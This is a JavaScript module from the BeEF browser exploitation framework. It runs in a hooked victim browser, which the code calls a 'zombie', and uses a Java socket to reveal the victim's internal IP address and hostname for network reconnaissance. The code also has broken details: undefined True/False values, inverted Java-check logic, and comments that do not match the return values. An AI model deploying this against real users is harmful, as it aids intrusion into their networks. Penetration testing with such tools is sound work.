90 lines
2.2 KiB
JavaScript
90 lines
2.2 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
/*!
|
|
* @literal object: beef.net.local
|
|
*
|
|
* Provides networking functions for the local/internal network of the zombie.
|
|
*/
|
|
beef.net.local = {
|
|
|
|
sock: false,
|
|
checkJava: false,
|
|
hasJava: false,
|
|
|
|
/**
|
|
* Initializes the java socket. We have to use this method because
|
|
* some browsers do not have java installed or it is not accessible.
|
|
* in which case creating a socket directly generates an error. So this code
|
|
* is invalid:
|
|
* sock: new java.net.Socket();
|
|
*/
|
|
|
|
initializeSocket: function() {
|
|
if(this.checkJava){
|
|
if(!beef.browser.hasJava()) {
|
|
this.checkJava=True;
|
|
this.hasJava=False;
|
|
return -1;
|
|
}else{
|
|
this.checkJava=True;
|
|
this.hasJava=True;
|
|
return 1;
|
|
}
|
|
}
|
|
else{
|
|
if(!this.hasJava) return -1;
|
|
else{
|
|
try {
|
|
this.sock = new java.net.Socket();
|
|
} catch(e) {
|
|
return -1;
|
|
}
|
|
return 1;
|
|
}
|
|
}
|
|
},
|
|
|
|
/**
|
|
* Returns the internal IP address of the zombie.
|
|
* @return: {String} the internal ip of the zombie.
|
|
* @error: return -1 if the internal ip cannot be retrieved.
|
|
*/
|
|
getLocalAddress: function() {
|
|
if(!this.hasJava) return false;
|
|
|
|
this.initializeSocket();
|
|
|
|
try {
|
|
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
|
|
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
|
|
|
|
return this.sock.getLocalAddress().getHostAddress();
|
|
} catch(e) { return false; }
|
|
},
|
|
|
|
/**
|
|
* Returns the internal hostname of the zombie.
|
|
* @return: {String} the internal hostname of the zombie.
|
|
* @error: return -1 if the hostname cannot be retrieved.
|
|
*/
|
|
getLocalHostname: function() {
|
|
if(!this.hasJava) return false;
|
|
|
|
this.initializeSocket();
|
|
|
|
try {
|
|
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
|
|
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
|
|
|
|
return this.sock.getLocalAddress().getHostName();
|
|
} catch(e) { return false; }
|
|
}
|
|
|
|
};
|
|
|
|
beef.regCmp('beef.net.local');
|